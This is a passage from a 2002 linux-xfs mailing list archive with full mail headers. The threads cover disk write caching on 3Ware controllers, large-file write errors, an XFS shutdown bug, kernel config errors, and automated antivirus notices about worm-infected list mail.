probably _too_new_ for your driver. > > > Anyone know where to get those tools to disable write cache on my IDE > > hds ? I hope I dont need windows for that... > > You usually need to boot DOS to do so. And you'll need to put them on a > standard ATA controller, as 3Ware Escalades hide them behind their ASIC. > > -- > Bryan J. Smith, E.I. Contact Info: http://thebs.org > A+/i-Net+/Linux+/Network+/Server+ CCNA CIWA CNA SCSA/SCWSE/SCNA > --------------------------------------------------------------- > When people focus on recycling trees, the fastest regenerating > resource on the planet, you know the country's environmental > policy has one of the most misguided focuses it could have. > > > > > From owner-linux-xfs@oss.sgi.com Tue Nov 5 16:40:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 16:40:38 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA60eUuR014944 for ; Tue, 5 Nov 2002 16:40:32 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id QAA04730 for ; Tue, 5 Nov 2002 16:41:34 -0800 (PST) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gA60eXF28492; Wed, 6 Nov 2002 11:40:33 +1100 Date: Wed, 6 Nov 2002 11:40:33 +1100 From: Keith Owens Message-Id: <200211060040.gA60eXF28492@sherman.melbourne.sgi.com> Subject: TAKE - Sync with kdb v2.4-2.5.46-common-1 X-archive-position: 1527 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Sync with kdb v2.4-2.5.46-common-1 Date: Tue Nov 5 16:39:04 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132132a linux/Documentation/kdb/kdb_sr.man - 1.1 linux/Makefile - 1.230 linux/kdb/ChangeLog - 1.22 From owner-linux-xfs@oss.sgi.com Tue Nov 5 17:13:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 17:13:08 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA61D2uR015648 for ; Tue, 5 Nov 2002 17:13:02 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id RAA01116 for ; Tue, 5 Nov 2002 17:14:07 -0800 (PST) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gA61D6C04787; Wed, 6 Nov 2002 12:13:06 +1100 Date: Wed, 6 Nov 2002 12:13:06 +1100 From: Keith Owens Message-Id: <200211060113.gA61D6C04787@sherman.melbourne.sgi.com> Subject: TAKE - Sync with kdb v2.4-2.5.46-i386-1 X-archive-position: 1528 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Sync with kdb v2.4-2.5.46-i386-1 Date: Tue Nov 5 17:12:38 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.5.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:132143a linux/arch/i386/kdb/ChangeLog - 1.9 From owner-linux-xfs@oss.sgi.com Tue Nov 5 17:19:00 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 17:19:02 -0800 (PST) Received: from BOSSW2K.plustream.com (sdsl-64-139-1-6.dsl.sca.megapath.net [64.139.1.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA61IwuR016092 for ; Tue, 5 Nov 2002 17:18:59 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: RE: Failure creating GBs file size under EVMS/XFS MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 5 Nov 2002 17:20:04 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Failure creating GBs file size under EVMS/XFS Thread-Index: AcKE/CJ8A7baG2gTRXShHESbu9K+8AANi47w From: "Michael Nguyen" To: "Nathan Straz" Cc: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA61J0uR016093 X-archive-position: 1529 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: michael.nguyen@corosoft.com Precedence: bulk X-list: linux-xfs I was successful with dd command, in creating 60GB file for an 80GB space. I will try to re-do the 'cat..' error and see the log. THX, Michael. > -----Original Message----- > From: Nathan Straz [mailto:nstraz@sgi.com] > Sent: Tuesday, November 05, 2002 10:50 AM > To: Michael Nguyen > Cc: linux-xfs@oss.sgi.com > Subject: Re: Failure creating GBs file size under EVMS/XFS > > > On Tue, Nov 05, 2002 at 10:37:37AM -0800, Michael Nguyen wrote: > > Im having failure creating Giga Bytes file size. Below, I will > > describe my environment and failure. Any assistance/explanation/hint > > is greatly appreciate. > ... > > # cat /root/tempfile >> /myfs/BIGfile > > # cat /root/tempfile >> /myfs/BIGfile > > # cat: write error: Input/Output error > > Are there any kernel messages in the logs? > If you strace cat, what are the last lines around the write > error? Can you create the file with dd? > -- > Nate Straz nstraz@sgi.com > sgi, inc http://www.sgi.com/ > Linux Test Project http://ltp.sf.net/ > From owner-linux-xfs@oss.sgi.com Tue Nov 5 23:43:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 23:43:55 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA67hpuR021182 for ; Tue, 5 Nov 2002 23:43:51 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA67hp6k021181 for linux-xfs@oss.sgi.com; Tue, 5 Nov 2002 23:43:51 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA67hnuX021161 for ; Tue, 5 Nov 2002 23:43:50 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA67Q6dG020990; Tue, 5 Nov 2002 23:26:06 -0800 Date: Tue, 5 Nov 2002 23:26:06 -0800 Message-Id: <200211060726.gA67Q6dG020990@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 186] xfs_force_shutdown in xfs_trans_cancel X-Bugzilla-Reason: AssignedTo X-archive-position: 1530 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 ------- Additional Comments From c.pascoe@itee.uq.edu.au 2002-11-05 23:26 ------- Hi, I've been running my stress loop for about 3 hours now with this patch (well, actually with the current CVS), and it seems to be happy - normally it fails after ~15 minutes. I plan to leave it run overnight and will inform you if anything develops. I suggest that others having this problem give it a go. Regards, Chris ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Tue Nov 5 23:56:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 05 Nov 2002 23:56:05 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA67u3uR021686 for ; Tue, 5 Nov 2002 23:56:03 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id 356C71F0054; Tue, 5 Nov 2002 23:57:10 -0800 (PST) Date: Tue, 5 Nov 2002 23:57:10 -0800 From: Chris Wedgwood To: Michael Nguyen Cc: linux-xfs@oss.sgi.com, evms-devel@lists.sourceforge.net Subject: Re: Failure creating GBs file size under EVMS/XFS Message-ID: <20021106075710.GA22699@tapu.f00f.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1531 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Tue, Nov 05, 2002 at 10:37:37AM -0800, Michael Nguyen wrote: > Im having failure creating Giga Bytes file size. Below, I will > describe my environment and failure. Any assistance/explanation/hint > is greatly appreciate. This sounds like a libc problem. What version of libc/glibc are you using? I routinely (many times a day) make multi-GB files under XFS and truncate(1) will make multi-TB files for me! (sparse of course) --cw From owner-linux-xfs@oss.sgi.com Wed Nov 6 01:33:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 01:33:25 -0800 (PST) Received: from rzaixsrv2.rrz.uni-hamburg.de (rzaixsrv2.rrz.uni-hamburg.de [134.100.32.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA69XMuR023851 for ; Wed, 6 Nov 2002 01:33:23 -0800 Received: from fry.sysctl.de (IDENT:obzw3UPKKu8o5r8cYBVPQK2TMTnQRBar@[134.100.58.143]) by rzaixsrv2.rrz.uni-hamburg.de (8.11.6/8.11.6) with ESMTP id gA69YRA31406 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified NO); Wed, 6 Nov 2002 10:34:28 +0100 Received: from localhost.localdomain (IDENT:fJxzJAbuKag6NpqG7lB5H1pPsJdQuoch@localhost.localdomain [127.0.0.1]) by fry.sysctl.de (8.12.5/8.12.3) with ESMTP id gA69YJWo027091; Wed, 6 Nov 2002 10:34:20 +0100 Subject: Re: write cache on 3ware controller and XFS From: Christophe Zwecker To: "Bryan J. Smith" Cc: linux-xfs@oss.sgi.com In-Reply-To: <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <1036531054.20194.10.camel@dumbo.zwecker.de> <1036531370.3dc836aaaba6f@webmail.smithconcepts.com> <1036531798.20193.14.camel@dumbo.zwecker.de> <1036532147.3dc839b3ea982@webmail.smithconcepts.com> <1036532720.20193.22.camel@dumbo.zwecker.de> <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 06 Nov 2002 10:34:19 +0100 Message-Id: <1036575260.26163.74.camel@fry.sysctl.de> Mime-Version: 1.0 X-archive-position: 1533 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: doc@zwecker.de Precedence: bulk X-list: linux-xfs On Tue, 2002-11-05 at 22:55, Bryan J. Smith wrote: > Okay, you _probably_ have _too_new_ of a firmware for your driver! If find the > stock kernel lags 3Ware by 6-12 months, and 3Ware almost always introduces a new > driver with each new firmware release. > > I'd say you found your problem then. Be sure to _always_ install the driver > with the firmware image you get from 3Ware. They even include a Makefile to > make things easy. ill compare the 3ware driver with the one in 2.4.19 thx for the hint > > Or don't you read things like READMEs??? ;-P hehe, I always read em :-) again, I wonder, if I have an USV attached to the server and it shuts it down properly, I minimize the risk of dataloss with writecache enabled, or not. -- Christophe Zwecker mail: doc@zwecker.de Hamburg, Germany fon: +49 179 3994867 http://www.zwecker.de "Who is General Failure ? And why is he reading my disk ??" From owner-linux-xfs@oss.sgi.com Wed Nov 6 01:33:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 01:33:08 -0800 (PST) Received: from wiprom2mx1.wipro.com (wiprom2mx1.wipro.com [203.197.164.41]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA69X0uR023772 for ; Wed, 6 Nov 2002 01:33:01 -0800 Received: from m2vwall5.wipro.com (m2vwall5.wipro.com [10.115.50.5]) by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id gA69Y0c16357 for ; Wed, 6 Nov 2002 15:04:00 +0530 (IST) Received: from blr-m1-bh1.wipro.com ([10.115.50.91]) by ace.mail.wipro.com (Netscape Messaging Server 4.15) with ESMTP id H55EKN00.VQ8 for ; Wed, 6 Nov 2002 15:03:59 +0530 Received: from blr-m3-msg.wipro.com ([10.114.50.99]) by blr-m1-bh1.wipro.com with Microsoft SMTPSVC(5.0.2195.4905); Wed, 6 Nov 2002 15:03:59 +0530 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Subject: Variable block size Date: Wed, 6 Nov 2002 15:03:59 +0530 Message-ID: <72D09F11CC09B645ADE2890F6B442FD81E6BC0@blr-m3-msg.wipro.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Variable block size Thread-Index: AcKFd6JHjah8SgAOSmiic1tEiYB5MQ== From: "Santhosh M Kumar" To: X-OriginalArrivalTime: 06 Nov 2002 09:33:59.0578 (UTC) FILETIME=[A29FCFA0:01C28577] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id gA69X3uR023773 X-archive-position: 1532 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: santhosh.kumar@wipro.com Precedence: bulk X-list: linux-xfs Hi, We have an system where we take care of buffering the file data while reading and writing. The buffer used for the same are reserved memory which is not visible to kernel. (Kseg1 address in MIPS processor and is reserved by specifying an offseted address while booting). The data is filled by the hardware in the system. Now we need to write the buffer into a file. The data is a huge about 1MB of buffers. I dont want to split the write/read request to block size. I also dont want it be page cached/buffer cached before going to the IDE driver. PS: Only few files are of this type, other files are generated using the normal malloced buffers. In order to achive this, i think the following changes are required. 1. Modification to support large block size. 2. Modification to eliminate page/buffer cache. Is there any other way by which this can be achieved. Or can anyone give me pointer for who to go about doing the above two modification. Thanks and Regards Santhosh From owner-linux-xfs@oss.sgi.com Wed Nov 6 01:38:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 01:38:33 -0800 (PST) Received: from smtpzilla5.xs4all.nl (smtpzilla5.xs4all.nl [194.109.127.141]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA69cUuR024636 for ; Wed, 6 Nov 2002 01:38:30 -0800 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla5.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA69da5V013586; Wed, 6 Nov 2002 10:39:36 +0100 (CET) Message-Id: <4.3.2.7.2.20021106102505.03e288b0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 06 Nov 2002 10:38:29 +0100 To: Christophe Zwecker From: Seth Mos Subject: Re: write cache on 3ware controller and XFS Cc: linux-xfs@oss.sgi.com In-Reply-To: <1036531054.20194.10.camel@dumbo.zwecker.de> References: <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> <4.3.2.7.2.20021105215943.03941310@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1534 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 22:17 5-11-2002 +0100, Christophe Zwecker wrote: >On Tue, 2002-11-05 at 22:06, Seth Mos wrote: > > At 20:50 5-11-2002 +0100, Christophe Zwecker wrote: snip > > What disks are attached, what speed and size, how many, what sort of raid > > config. Does it have a battery cache. >5x 120GB IBM 7200RPM IDE disks, RAID5 on an EVMS/LVM Volume And what kernel are you currently using? >I dont have batter cache, but am I not safe with an USV , that shutsdown >the machine in case of power failure ? No, if the power supply from your machine dies or the power cable from the UPS to the computer gets loose, you're screwed. If you "just switch of the machine after a failure instead of resetting it the ram is cleared and you're cache is gone. Ah and system crashes can also cause problems like this. >uh, are there tools for that ? I believe 3ware has a utility for that, although I remember that you might need to do it on a per drive basis. >it doesnt, rebooted like 3 times in one year, nothing happened sofar.. A normal reboot doesn't cover it. The machine needs to loose power for this to show up. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Nov 6 01:44:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 01:44:58 -0800 (PST) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA69ituR025127 for ; Wed, 6 Nov 2002 01:44:55 -0800 Received: from auto-nb1.xs4all.nl (213-84-100-130.adsl.xs4all.nl [213.84.100.130]) by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id gA69jvWM030143; Wed, 6 Nov 2002 10:45:58 +0100 (CET) Message-Id: <4.3.2.7.2.20021106104258.02e7cec0@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 06 Nov 2002 10:44:50 +0100 To: TJ Easter , "Bryan J. Smith" From: Seth Mos Subject: Re: write cache on 3ware controller and XFS Cc: Christophe Zwecker , In-Reply-To: References: <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 1535 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs At 17:56 5-11-2002 -0500, TJ Easter wrote: >Will 'hdparm -W /dev/hdX' not disable the write cache in this scenario? On a standard IDE controller yes, but not permanently. You need tools from the disk manufacturer to do this. And the scenario doesn't work when attached to a 3ware controller at all. The 3ware controller acts like a scsi device so only a single /dev/sdxX would show up. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Nov 6 02:29:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 02:29:13 -0800 (PST) Received: from maildab.dataaccess.com.br ([200.212.205.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6AT6uR027041 for ; Wed, 6 Nov 2002 02:29:07 -0800 Received: by maildab.dataaccess.com.br with Internet Mail Service (5.5.2653.19) id <4QD4DS0N>; Wed, 6 Nov 2002 08:31:17 -0300 Message-ID: From: ANTIGEN_MAILDAB To: "'linux-xfs@oss.sgi.com'" Subject: Antigen found VIRUS= W32/Klez-E (Sophos) virus Date: Wed, 6 Nov 2002 08:31:10 -0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 1536 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ANTIGEN_MAILDAB@dataaccess.com.br Precedence: bulk X-list: linux-xfs Antigen for Exchange found play.exe infected with VIRUS= W32/Klez-E (Sophos) worm. The message is currently Removed. The message, "A humour game", was sent from linux-xfs and was discovered in Realtime Scan Job\Jose Teodoro Jr.\Inbox located at DataAccess/DAB/MAILDAB. From owner-linux-xfs@oss.sgi.com Wed Nov 6 02:37:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 02:37:15 -0800 (PST) Received: from rzaixsrv2.rrz.uni-hamburg.de (rzaixsrv2.rrz.uni-hamburg.de [134.100.32.71]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6AbCuR027567 for ; Wed, 6 Nov 2002 02:37:12 -0800 Received: from fry.sysctl.de (IDENT:0ze8P1d8iGJKoJ+jh81gww3qBm+AcsMe@[134.100.58.143]) by rzaixsrv2.rrz.uni-hamburg.de (8.11.6/8.11.6) with ESMTP id gA6AcHA81634 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified NO); Wed, 6 Nov 2002 11:38:18 +0100 Received: from localhost.localdomain (IDENT:GxlPs3c5TOt3PwA1LIr33hlgcMHNwkQ8@localhost.localdomain [127.0.0.1]) by fry.sysctl.de (8.12.5/8.12.3) with ESMTP id gA6AcHWo027782; Wed, 6 Nov 2002 11:38:17 +0100 Subject: Re: write cache on 3ware controller and XFS From: Christophe Zwecker To: Seth Mos Cc: TJ Easter , "Bryan J. Smith" , linux-xfs@oss.sgi.com In-Reply-To: <4.3.2.7.2.20021106104258.02e7cec0@pop.xs4all.nl> References: <1036533303.3dc83e370b1b4@webmail.smithconcepts.com> <4.3.2.7.2.20021106104258.02e7cec0@pop.xs4all.nl> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8.99 Date: 06 Nov 2002 11:38:16 +0100 Message-Id: <1036579097.23259.98.camel@fry.sysctl.de> Mime-Version: 1.0 X-archive-position: 1537 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: doc@zwecker.de Precedence: bulk X-list: linux-xfs For IBM I found a thing called "Feature Tool" which can disable write/read cache, set SMART, accustic managment and so on. Tested here with a maxtor drive too. On Wed, 2002-11-06 at 10:44, Seth Mos wrote: > At 17:56 5-11-2002 -0500, TJ Easter wrote: > >Will 'hdparm -W /dev/hdX' not disable the write cache in this scenario? > > On a standard IDE controller yes, but not permanently. You need tools from > the disk manufacturer to do this. > > And the scenario doesn't work when attached to a 3ware controller at all. > The 3ware controller acts like a scsi device so only a single /dev/sdxX > would show up. > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > -- Christophe Zwecker mail: doc@zwecker.de Hamburg, Germany fon: +49 179 3994867 http://www.zwecker.de "Who is General Failure ? And why is he reading my disk ??" From owner-linux-xfs@oss.sgi.com Wed Nov 6 03:12:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 03:12:16 -0800 (PST) Received: from maildab.dataaccess.com.br ([200.212.205.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6BCAuR029509 for ; Wed, 6 Nov 2002 03:12:12 -0800 Received: by maildab.dataaccess.com.br with Internet Mail Service (5.5.2653.19) id <4QD4DTAG>; Wed, 6 Nov 2002 09:14:13 -0300 Message-ID: From: ANTIGEN_MAILDAB To: "'linux-xfs@oss.sgi.com'" Subject: Antigen found VIRUS= W32/Flcss (Sophos) virus Date: Wed, 6 Nov 2002 09:14:10 -0300 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-archive-position: 1538 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ANTIGEN_MAILDAB@dataaccess.com.br Precedence: bulk X-list: linux-xfs Antigen for Exchange found border.bat infected with VIRUS= W32/Flcss (Sophos) worm. The message is currently Purged. The message, "Honey", was sent from linux-xfs and was discovered in IMC Queues\Inbound located at DataAccess/DAB/MAILDAB. From owner-linux-xfs@oss.sgi.com Wed Nov 6 06:43:31 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 06:43:35 -0800 (PST) Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6EhTuR007984 for ; Wed, 6 Nov 2002 06:43:30 -0800 Received: from pc9391 (pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.11.6+Sun/8.11.6) with ESMTP id gA6EiY824675 for ; Wed, 6 Nov 2002 15:44:34 +0100 (MET) Date: Wed, 6 Nov 2002 15:44:33 +0100 From: Christian Guggenberger To: linux-xfs@oss.sgi.com Subject: Re: [Bug 186] xfs_force_shutdown in xfs_trans_cancel Message-ID: <20021106154433.E7574@pc9391.uni-regensburg.de> References: <200211060726.gA67Q6d4020991@oss.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit In-Reply-To: <200211060726.gA67Q6d4020991@oss.sgi.com>; from bugzilla-daemon@oss.sgi.com on Wed, Nov 06, 2002 at 08:26:06 +0100 X-Mailer: Balsa 1.2.4 Lines: 21 X-archive-position: 1539 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: christian.guggenberger@physik.uni-regensburg.de Precedence: bulk X-list: linux-xfs On 06 Nov 2002 08:26:06 bugzilla-daemon@oss.sgi.com wrote: > http://oss.sgi.com/bugzilla/show_bug.cgi?id=186 > > > > > > ------- Additional Comments From c.pascoe@itee.uq.edu.au 2002-11-05 23:26 > ------- > Hi, > > I've been running my stress loop for about 3 hours now with this patch (well, > > actually with the current CVS), and it seems to be happy - normally it fails > after ~15 minutes. I plan to leave it run overnight and will inform you if > anything develops. I suggest that others having this problem give it a go. > okay, just moved my machine to todays CVS... Lets see what happens! Christian From owner-linux-xfs@oss.sgi.com Wed Nov 6 09:20:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 09:20:23 -0800 (PST) Received: from imf11bis.bellsouth.net (mail211.mail.bellsouth.net [205.152.58.151]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6HKKuR014036 for ; Wed, 6 Nov 2002 09:20:20 -0800 Received: from TAZ2 ([66.156.1.101]) by imf11bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20021106172308.NMZH3483.imf11bis.bellsouth.net@TAZ2> for ; Wed, 6 Nov 2002 12:23:08 -0500 Date: Wed, 6 Nov 2002 12:21:21 -0500 From: Greg Freemyer Subject: Latest CVS and make oldconfig To: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20021106172308.NMZH3483.imf11bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id gA6HKKuR014037 X-archive-position: 1540 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs I just did a CVS update, and tried a "make oldconfig". I'm getting an error at the end. ====== * * Bluetooth support * Bluetooth subsystem support (CONFIG_BLUEZ) [Y/m/n/?] L2CAP protocol support (CONFIG_BLUEZ_L2CAP) [N/y/m/?] SCO links support (CONFIG_BLUEZ_SCO) [N/y/m/?] scripts/Configure: net/bluetooth/bnep/Config.in: No such file or directory make: *** [oldconfig] Error 1 ====== What do I need to do? Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Wed Nov 6 09:29:37 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 06 Nov 2002 09:29:39 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA6HTauR014853 for ; Wed, 6 Nov 2002 09:29:37 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA68737; Wed, 6 Nov 2002 11:30:39 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA22942; Wed, 6 Nov 2002 11:30:39 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA6HUK723713; Wed, 6 Nov 2002 11:30:20 -0600 Subject: Re: Latest CVS and make oldconfig From: Steve Lord To: Greg Freemyer Cc: xfs mailing list In-Reply-To: <20021106172308.NMZH3483.imf11bis.bellsouth.net@TAZ2> References: <20021106172308.NMZH3483.imf11bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 06 Nov 2002 11:30:20 -0600 Message-Id: <1036603820.20287.17.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1541 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Wed, 